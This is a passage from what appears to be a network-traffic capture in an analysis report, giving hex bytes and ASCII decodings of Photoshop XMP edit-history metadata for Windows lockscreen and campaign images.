54 31 35 3a 32 33 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 
70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 
78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 
33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 30 54 31 35 3a 32 36 
3a 30 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
Data Ascii: _Landscape.psd saved&#xA;2016-11-20T15:23:29-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adob
e\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B
579.psb saved&#xA;2016-11-20T15:26:01-08:00&#x9;File C:\U
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2022-05-26 11:47:00 UTC 8739 IN Data Raw: 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 32 2d 30 39 54 31 33 3a 35 34 3a 30 33 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 
2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 32 2d 30 39 54 31 34 3a 30 30 3a 33 32 2d 30 38 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 7
3 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 77 61 79 5c 43 72 6
f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 50 68 6f 74 6f 45 6e 74 68 75 73 69 61 73 74 73 5f 47 65 74 74 79 49 6d 6
1 67 65 73 2d 36 35 39 36 39 36 31 39 35 5f 31 39 32 30 78 31 30 
Data Ascii: saved&#xA;2016-12-09T13:54:03-08:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2016-
12-09T14:00:32-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Sway\Crops\O
ffice_Sway-PhotoEnthusiasts_GettyImages-659696195_1920x10

2022-05-26 11:47:00 UTC 8755 IN Data Raw: 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 50 72 65 73 69 64 65 6e 74 73 44 61 
79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 39 31 30 34 36 30 30 33 5f 31 39 32 30 78 31 30 38 30 38 31 42 32 33 34 
35 44 38 38 31 36 42 45 39 34 30 37 32 41 33 41 45 43 36 38 37 44 38 45 41 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 32 2d 30 32 54 31 34 3a 30 34 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 
69 6d 65 5c 50 72 65 73 69 64 65 6e 74 73 44 61 79 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 50 72 65 73 
69 64 65 6e 74 73 44 61 79 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 
Data Ascii: 2015.5\AutoRecover\_MIT-PresidentsDay_GettyImages-691046003_1920x108081B2345D8816BE94072
A3AEC687D8EA3.psb saved&#xA;2017-02-02T14:04:28-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Moment
sInTime\PresidentsDay\CHOSEN\Crops\MIT-PresidentsDay_shutterstock_3

2022-05-26 11:47:00 UTC 8771 IN Data Raw: 31 31 34 32 32 30 36 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 37 2d 30 33 2d 31 34 54 31 32 3a 30 37 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 
20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 70 
72 69 6e 67 45 6e 74 6d 6e 74 2d 41 70 72 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 36 39 36 39 32 30 39 5f 3
1 39 32 30 78 31 30 38 30 34 42 39 39 32 36 36 32 44 43 33 34 41 44 39 32 43 30 30 46 38 43 46 31 32 34 38 44 30 34 
39 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 
Data Ascii: 114220663_1920x1080.jpg saved&#xA;2017-03-14T12:07:34-07:00&#x9;File C:\Users\v-lizagh\AppData\Roa
ming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-SpringEntmnt-April_GettyImages-476969209_1920x
10804B992662DC34AD92C00F8CF1248D049B.psb saved&#xA;2017-0

2022-05-26 11:47:00 UTC 8779 IN Data Raw: 2d 30 33 54 30 39 3a 33 39 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 
42 41 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 6f 72 74 73 2d 4e 42 41 5f 41 70 72 69 6c 5f 47 65 74 74 79 49 6d 61 67 
65 73 2d 36 33 36 31 37 37 37 35 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 
31 37 2d 30 34 2d 30 33 54 30 39 3a 34 38 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 
50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 
Data Ascii: -03T09:39:29-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NBA\CHOSEN\MIT-Sports-
NBA_April_GettyImages-636177758_1920x1080.jpg saved&#xA;2017-04-03T09:48:04-07:00&#x9;File C:\Users\v-l
izagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\Aut

2022-05-26 11:47:00 UTC 8795 IN Data Raw: 37 34 5f 31 39 32 30 78 31 30 38 30 30 32 39 36 46 46 34 37 43 38 44 46 39 38 36 45 42 38 45 35 34 39 39 
34 31 46 44 38 43 31 30 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 36 54 31 31 3a 31 
34 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5c 43 61 6d 70 61 69 67 6e 5c 43 48 4f 53 
45 4e 5c 57 69 6e 64 6f 77 73 49 6e 73 69 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 32 32 30 36 38 33 32 
5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 36 54 31 31 3a 
31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
Data Ascii: 74_1920x10800296FF47C8DF986EB8E549941FD8C10B.psb saved&#xA;2017-04-26T11:14:28-07:00&#x9
;File C:\Users\v-lizagh\MS\Windows10\WindowsInsider\Campaign\CHOSEN\WindowsInsider_GettyImages-50220
6832_1920x1080.jpg saved&#xA;2017-04-26T11:17:03-07:00&#x9;File C:\

2022-05-26 11:47:00 UTC 8811 IN Data Raw: 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 
5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 
65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 
39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 38 3a 34 36 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 
31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 
Data Ascii: le C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x10
80_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-05-15T18:46:34-07:00&#x9;File C:\Use
rs\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.p

2022-05-26 11:47:00 UTC 8818 IN Data Raw: 65 73 2d 36 35 34 38 39 39 38 37 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 36 2d 30 37 54 31 30 3a 32 32 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 49 6e 73 6
9 64 65 72 5c 52 53 33 2d 53 6c 6f 77 52 69 6e 67 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 49 6e 
73 69 64 65 72 2d 52 53 33 2d 53 6c 6f 77 52 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 35 37 37 36 32 30 34 
30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 54 31 30 
3a 32 33 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
Data Ascii: es-654899876_1920x1080.jpg saved&#xA;2017-06-07T10:22:35-07:00&#x9;File C:\Users\v-lizagh\MS\Windo
ws10\WindowsInsider\RS3-SlowRing\Chosen\Crops\WindowsInsider-RS3-SlowRing_GettyImages-657762040_1920
x1080.jpg saved&#xA;2017-06-07T10:23:54-07:00&#x9;File C:

2022-05-26 11:47:00 UTC 8834 IN Data Raw: 37 2d 31 34 54 31 32 3a 30 31 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 53 75 72 66 61 63 
65 50 72 6f 5c 43 68 6f 73 65 6e 5c 53 75 72 66 61 63 65 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 37 35 32 
37 36 34 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 34 
54 31 32 3a 30 32 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 53 75 72 66 61 63 65 50 72 6f 5c 43 68 6f 73 
65 6e 5c 53 75 72 66 61 63 65 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 
Data Ascii: 7-14T12:01:40-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Surface\SurfacePro\Chosen\SurfacePro_G
ettyImages-507527642_1920x1080.psd saved&#xA;2017-07-14T12:02:52-07:00&#x9;File C:\Users\v-lizagh\MS
\Windows10\Surface\SurfacePro\Chosen\SurfacePro_GettyImag

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:00 UTC 8850 IN Data Raw: 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 
42 61 74 63 68 37 5c 52 41 57 53 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 37 5f 45 6e 63 68 61 6e 74 6d 65 6e 
74 4d 74 6e 73 57 41 5f 4f 66 66 73 65 74 5f 31 33 34 35 31 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 36 54 31 35 3a 34 33 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 
62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 
4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 
Data Ascii: ows10\BingEdgeGrowthImages\Lock2017_Batch7\RAWS\Crops\Lock2017-B7_EnchantmentMtnsWA_Offs
et_134513_1920x1080.jpg saved&#xA;2017-08-16T15:43:04-07:00&#x9;File C:\Users\v-lizagh\AppData\Roami
ng\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_

2022-05-26 11:47:00 UTC 8858 IN Data Raw: 30 54 32 31 3a 33 30 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6d 6d 
79 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 45 6d 6d 79 73 5f 
73 68 75 74 74 65 72 73 74 6f 63 6b 5f 36 38 36 38 39 37 31 31 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 7
6 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 32 31 3a 33 31 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 
74 73 49 6e 54 69 6d 65 5c 45 6d 6d 79 73 5c 43 68 6f 73 65 6e 5c 43 
Data Ascii: 0T21:30:57-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Emmys\Chosen\Crops\MIT-
Entertainment-Emmys_shutterstock_686897113_1920x1080.jpg saved&#xA;2017-08-30T21:31:25-07:00&#x9;File C:
\Users\v-lizagh\MS\Windows10\MomentsInTime\Emmys\Chosen\C

2022-05-26 11:47:00 UTC 8874 IN Data Raw: 4f 53 54 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 50 6f 73 74 57 53 57 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 37 38 33 38 38 31 31 38 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 37 2d 31 30 2d 32 30 54 31 36 3a 34 37 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5
c 57 6f 72 6c 64 53 70 61 63 65 57 65 65 6b 5c 5f 50 4f 53 54 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 50 6f 
73 74 57 53 57 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 38 33 38 38 31 31 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 6
7 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 30 
Data Ascii: OST\CHOSEN\Crops\MIT-PostWSW_GettyImages-78388118_1920x1080.psd saved&#xA;2017-10-20T16:
47:19-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WorldSpaceWeek\_POST\CHOSEN\Crops\MIT-
PostWSW_GettyImages-78388118_1920x1080.jpg saved&#xA;2017-10-20

2022-05-26 11:47:00 UTC 8890 IN Data Raw: 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 
2d 38 34 34 35 35 31 31 32 34 5f 31 39 32 30 78 31 30 38 30 38 39 35 39 45 44 38 35 34 44 32 46 33 39 46 34 36 33 35 
34 31 30 30 34 30 41 33 31 36 30 45 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 32 54 
31 31 3a 34 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 4e 5a 2d 53 69 6e 67 2d 49 52 45 5c 43 
48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 2d 49 72 65 6c 61 6e 64 5f 47 65 74 74 79 49 6d 61 67 
65 73 2d 36 33 39 31 31 30 37 39 38 5f 31 39 32 30 78 78 31 30 38 30 2e 
Data Ascii: Recover\_MIT-BlackFriday_GettyImages-844551124_1920x10808959ED854D2F39F4635410040A3160EC
.psb saved&#xA;2017-11-22T11:41:44-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\NZ-Sing-I
RE\CHOSEN\Crops\MSRewards-Ireland_GettyImages-639110798_1920xx1080.

2022-05-26 11:47:00 UTC 8898 IN Data Raw: 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 
54 72 61 76 65 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 33 37 33 32 32 38 31 36 5f 31 39 32 30 78 31 30 38 30 2e 
6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 36 3a 32 30 3a 35 31 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6
d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 
63 6f 76 65 72 5c 5f 4d 49 54 2d 54 72 61 76 65 6c 5f 41 6c 61 6d 79 2d 47 31 37 42 45 38 5f 31 39 32 30 78 31 30 38 30 
38 42 39 33 34 42 35 43 32 34 43 32 38 34 41 35 32 38 45 42 44 
Data Ascii: ternational\Travel\Chosen\Crops\MIT-Travel_GettyImages-637322816_1920x1080.jpg saved&#xA;2017-12-1
1T16:20:51-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-
Travel_Alamy-G17BE8_1920x10808B934B5C24C284A528EBD

2022-05-26 11:47:00 UTC 8914 IN Data Raw: 63 61 43 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 34 38 33 30 34 34 34 5f 31 39 32 30 78 31 30 38 30 
2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 31 39 54 31 31 3a 33 35 3a 32 36 2d 30 38 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 61 74 63 68 31 3
0 5f 50 4f 41 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 31 30 5f 41 6d 75 73 65 6d 65 6e 74 
50 61 72 6b 53 61 6e 74 61 4d 6f 6e 69 63 61 43 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 34 38 33 30 34 34 34 5
f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
Data Ascii: caCA_GettyImages-174830444_1920x1080.jpg saved&#xA;2018-01-19T11:35:26-08:00&#x9;File C:\Users\v-l
izagh\MS\Windows10\BingEdgeGrowthImages\Lock2017-Batch10_POA\CHOSEN\Crops\Lock2017-B10_AmusementPark
SantaMonicaCA_GettyImages-174830444_1920x1080.jpg saved&#

2022-05-26 11:47:00 UTC 8930 IN Data Raw: 65 72 6e 61 74 69 6f 6e 61 6c 5c 4f 6c 79 6d 70 69 63 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 
4d 49 54 2d 55 4b 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 39 30 39 33 
36 31 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 
31 32 3a 32 34 3a 30 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 4f 6c 79 6d 70 69 
63 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 4b 2d 57 69 6e 74 65 72 4f 6c 79 6d 70 69 63 73 
5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 39 30 39 33 36 31 32 5f 
Data Ascii: ernational\Olympics-UK\CHOSEN\Crops\MIT-UK-WinterOlympics_GettyImages-79093612_1920x1080.psd 
saved&#xA;2018-02-15T12:24:01-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Olympics-UK
\CHOSEN\Crops\MIT-UK-WinterOlympics_GettyImages-79093612_

2022-05-26 11:47:00 UTC 8938 IN Data Raw: 32 36 38 33 39 38 37 45 41 00 10 40 18 00 03 fd e0 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 
6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 
2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 33 3a 31 35 3a 30 35 2d 30 38 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 3
1 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 
63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 33 3a 33 35 3a 34 30 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
Data Ascii: 2683987EA@screen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved
&#xA;2018-03-01T13:15:05-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1
080_Landscape.psd saved&#xA;2018-03-01T13:35:40-08:00&#x9;File C:\User
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2022-05-26 11:47:00 UTC 8954 IN Data Raw: 33 31 30 31 46 33 30 45 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 31 46 39 41 37 34 46 
45 42 37 44 42 32 33 31 36 36 43 46 46 36 45 36 30 31 31 44 35 30 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 30 32 31 44 33 37 42 32 38 45 36 41 31 43 38 31 42 36 46 33 42 35 46 33 44 39 37 30 33 46 39 42 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 32 42 37 38 30 35 46 43 41 36 34 39 33 33 43 43 46 36 32 31 32 31 34 
30 32 44 32 39 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 32 43 31 33 33 45 44 45 31 45 33 43 
34 37 45 44 45 43 39 39 34 42 37 34 30 30 34 33 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 32 32 
43 37 35 45 31 42 42 35 39 42 33 31 38 39 33 43 43 43 45 38 31 42 34 37 
Data Ascii: 3101F30E57</rdf:li> <rdf:li>01F9A74FEB7DB23166CFF6E6011D50B4</rdf:li> <rdf:li>021D37B28E
6A1C81B6F3B5F3D9703F9B</rdf:li> <rdf:li>022B7805FCA64933CCF62121402D2912</rdf:li> <rdf:li>022C133EDE
1E3C47EDEC994B740043B5</rdf:li> <rdf:li>022C75E1BB59B31893CCCE81B47

2022-05-26 11:47:00 UTC 8970 IN Data Raw: 44 32 32 43 43 39 44 39 30 37 45 32 31 44 39 38 35 36 32 41 44 46 43 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 30 46 37 38 35 31 33 41 42 41 37 46 43 33 33 42 36 44 45 30 30 31 36 42 45 38 30 35 42 34 35 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 30 30 46 31 33 30 32 32 33 32 30 34 39 44 45 45 30 
35 34 37 42 42 30 45 46 44 45 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 35 33 31 30 44 46 3
9 44 43 44 44 41 43 31 36 38 42 30 36 43 36 39 39 37 39 43 39 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 30 46 38 45 42 31 34 46 43 46 34 30 37 33 43 38 43 38 32 42 34 46 44 43 32 45 31 35 43 31 33 44 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 39 34 33 46 37 33 43 32 33 
Data Ascii: D22CC9D907E21D98562ADFC2D9</rdf:li> <rdf:li>0F78513ABA7FC33B6DE0016BE805B45D</rdf:li> <r
df:li>0F800F1302232049DEE0547BB0EFDEB5</rdf:li> <rdf:li>0F85310DF9DCDDAC168B06C69979C98C</rdf:li> <r
df:li>0F8EB14FCF4073C8C82B4FDC2E15C13D</rdf:li> <rdf:li>0F943F73C23

2022-05-26 11:47:00 UTC 8978 IN Data Raw: 30 33 35 44 46 44 43 42 33 35 30 46 34 35 39 35 41 32 46 30 36 46 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 31 35 38 45 37 36 38 35 37 45 32 32 46 32 45 45 44 36 30 39 44 30 37 44 44 44 33 43 44 36 41 39 3c 
